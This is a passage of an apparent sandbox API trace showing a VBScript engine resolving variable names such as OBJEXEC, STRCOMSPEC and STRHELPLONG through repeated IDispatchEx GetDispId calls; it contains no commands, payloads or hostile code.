riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.656] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJDEBUGLOG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.656] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJDEBUGLOG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.656] GetCurrentThreadId () returned 0xd44 [0065.656] IUnknown:Release (This=0x1197760) returned 0x5 [0065.656] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.657] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJEXEC", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.657] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJEXEC", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.657] GetCurrentThreadId () returned 0xd44 [0065.657] IUnknown:Release (This=0x1197760) returned 0x5 [0065.657] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.657] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJHTMLFILE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.657] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJHTMLFILE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.657] GetCurrentThreadId () returned 0xd44 [0065.657] IUnknown:Release (This=0x1197760) returned 0x5 [0065.657] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.657] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJFOLDER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.657] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJFOLDER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.657] GetCurrentThreadId () returned 0xd44 [0065.658] IUnknown:Release (This=0x1197760) returned 0x5 [0065.658] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.658] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJFOLDERITEM", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.658] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJFOLDERITEM", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.658] GetCurrentThreadId () returned 0xd44 [0065.658] IUnknown:Release (This=0x1197760) returned 0x5 [0065.658] realloc (_Block=0x83d71e0, _Size=0x140) returned 0x8460768 [0065.658] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.658] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJFSO", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.658] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJFSO", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.658] GetCurrentThreadId () returned 0xd44 [0065.658] IUnknown:Release (This=0x1197760) returned 0x5 [0065.659] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.659] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJITEM", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.659] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJITEM", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.659] GetCurrentThreadId () returned 0xd44 [0065.659] IUnknown:Release (This=0x1197760) returned 0x5 [0065.659] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.659] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJKEY", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.659] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJKEY", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.659] GetCurrentThreadId () returned 0xd44 [0065.659] IUnknown:Release (This=0x1197760) returned 0x5 [0065.659] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.660] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJMATCHES", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.660] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJMATCHES", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.660] GetCurrentThreadId () returned 0xd44 [0065.660] IUnknown:Release (This=0x1197760) returned 0x5 [0065.660] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.660] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJMATCHES2", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.660] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJMATCHES2", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.660] GetCurrentThreadId () returned 0xd44 [0065.660] IUnknown:Release (This=0x1197760) returned 0x5 [0065.660] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.660] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRALPHABET", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.660] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRALPHABET", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.660] GetCurrentThreadId () returned 0xd44 [0065.661] IUnknown:Release (This=0x1197760) returned 0x5 [0065.661] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.661] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRARG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.661] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRARG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.661] GetCurrentThreadId () returned 0xd44 [0065.661] IUnknown:Release (This=0x1197760) returned 0x5 [0065.661] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.661] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCLASS", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.661] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCLASS", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.661] GetCurrentThreadId () returned 0xd44 [0065.661] IUnknown:Release (This=0x1197760) returned 0x5 [0065.661] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.662] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCMDINFO", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.662] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCMDINFO", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.662] GetCurrentThreadId () returned 0xd44 [0065.662] IUnknown:Release (This=0x1197760) returned 0x5 [0065.662] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.662] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCOMMAND", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.662] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCOMMAND", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.662] GetCurrentThreadId () returned 0xd44 [0065.662] IUnknown:Release (This=0x1197760) returned 0x5 [0065.662] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.662] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCOMMANDLINE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.662] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCOMMANDLINE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.662] GetCurrentThreadId () returned 0xd44 [0065.662] IUnknown:Release (This=0x1197760) returned 0x5 [0065.663] malloc (_Size=0x1004) returned 0x11c6a50 [0065.663] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.670] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCOMSPEC", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.670] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCOMSPEC", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.670] GetCurrentThreadId () returned 0xd44 [0065.670] IUnknown:Release (This=0x1197760) returned 0x5 [0065.670] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.670] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCSDVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.670] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCSDVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.670] GetCurrentThreadId () returned 0xd44 [0065.671] IUnknown:Release (This=0x1197760) returned 0x5 [0065.671] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.671] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRFILE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.671] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRFILE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.671] GetCurrentThreadId () returned 0xd44 [0065.671] IUnknown:Release (This=0x1197760) returned 0x5 [0065.671] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.671] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRFILEVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.671] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRFILEVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.671] GetCurrentThreadId () returned 0xd44 [0065.671] IUnknown:Release (This=0x1197760) returned 0x5 [0065.672] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.672] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRDEBUGLOG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.672] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRDEBUGLOG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.672] GetCurrentThreadId () returned 0xd44 [0065.672] IUnknown:Release (This=0x1197760) returned 0x5 [0065.672] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.672] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRFIRSTLETTER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.672] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRFIRSTLETTER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.672] GetCurrentThreadId () returned 0xd44 [0065.672] IUnknown:Release (This=0x1197760) returned 0x5 [0065.672] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.672] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRHELPALL", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.673] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRHELPALL", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.673] GetCurrentThreadId () returned 0xd44 [0065.673] IUnknown:Release (This=0x1197760) returned 0x5 [0065.673] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.673] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRHELPLONG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.673] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRHELPLONG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.673] GetCurrentThreadId () returned 0xd44 [0065.673] IUnknown:Release (This=0x1197760) returned 0x5 [0065.673] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.673] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRHELPSHORT", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.673] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRHELPSHORT", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.673] GetCurrentThreadId () returned 0xd44 [0065.673] IUnknown:Release (This=0x1197760) returned 0x5 [0065.674] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.674] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRHEAD", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.674] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRHEAD", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.674] GetCurrentThreadId () returned 0xd44 [0065.674] IUnknown:Release (This=0x1197760) returned 0x5 [0065.674] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.674] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRHTML", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.674] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRHTML", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.674] GetCurrentThreadId () returned 0xd44 [0065.674] IUnknown:Release (This=0x1197760) returned 0x5 [0065.674] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.675] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRMSG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.675] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRMSG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.675] GetCurrentThreadId () returned 0xd44 [0065.675] IUnknown:Release (This=0x1197760) returned 0x5 [0065.675] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.675] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRNUMVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.675] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRNUMVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.675] GetCurrentThreadId () returned 0xd44 [0065.675] IUnknown:Release (This=0x1197760) returned 0x5 [0065.675] realloc (_Block=0x11977f0, _Size=0x200) returned 0x11a9dd0 [0065.675] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.675] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STROSLOCL", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.675] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STROSLOCL", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.675] GetCurrentThreadId () returned 0xd44 [0065.676] IUnknown:Release (This=0x1197760) returned 0x5 [0065.676] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.676] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRPATTERN", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.676] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRPATTERN", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.676] GetCurrentThreadId () returned 0xd44 [0065.676] IUnknown:Release (This=0x1197760) returned 0x5 [0065.676] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.676] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRPREVIOUSLETTER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.676] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRPREVIOUSLETTER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.676] GetCurrentThreadId () returned 0xd44 [0065.676] IUnknown:Release (This=0x1197760) returned 0x5 [0065.676] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.677] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRSCRIPTENGINE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.677] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRSCRIPTENGINE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.677] GetCurrentThreadId () returned 0xd44 [0065.677] IUnknown:Release (This=0x1197760) returned 0x5 [0065.677] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.677] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRSCRIPTPATH", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.677] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRSCRIPTPATH", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.677] GetCurrentThreadId () returned 0xd44 [0065.677] IUnknown:Release (This=0x1197760) returned 0x5 [0065.677] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, 